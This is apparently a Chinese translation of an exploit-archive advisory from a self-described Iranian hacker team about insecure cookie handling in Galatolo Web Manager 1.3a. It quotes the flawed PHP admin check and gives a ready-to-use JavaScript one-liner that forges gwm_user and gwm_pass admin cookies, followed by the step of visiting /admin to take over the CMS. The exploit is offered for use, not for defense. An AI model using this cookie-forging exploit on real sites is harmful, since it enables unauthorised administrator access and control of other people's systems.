Galatolo Web Manager 1.3a 不安全Cookie处理漏洞
Virangar 安全团队
www.virangar.net
www.virangar.ir
--------
发现者：virangar 安全团队 (hadihadi)
特别感谢：MR.nosrati, black.shadowes, MR.hesy, Zahra
以及所有virangar成员和所有黑客朋友们
致意：我在世界上最好的朋友 hadi_aryaie2004
以及我可爱的朋友 arash(imm02tal)
-------
漏洞描述：
Galatolo Web Manager 存在不安全的Cookie处理机制。当管理员登录成功后，脚本会创建一个Cookie，用于向管理后台的其他部分证明用户已登录。问题在于，这个Cookie不包含任何密码或类似的有效验证信息。因此，攻击者可以直接伪造一个管理员Cookie，让系统误认为我们是以合法管理员身份登录的。
---
漏洞代码位置：
文件：/Admin/index.php
关键代码片段如下：
if (grado($HTTP_COOKIE_VARS["gwm_user"],$HTTP_COOKIE_VARS["gwm_pass"]) == "admin" || grado($HTTP_COOKIE_VARS["gwm_user"],$HTTP_COOKIE_VARS["gwm_pass"]) == "editor" ){
top();
menu();
echo $wellcome_admin;
foot();
}
---
利用方式：
在浏览器地址栏或控制台执行以下Ja vaScript代码：
ja vascript:document.cookie = "gwm_user=admin; path=/"; document.cookie = "gwm_pass=admin; path=/";
-----
执行完毕后，直接访问 /admin 目录，即可获得管理员访问权限，进而管理整个CMS系统。
-------
年轻的伊朗黑客们
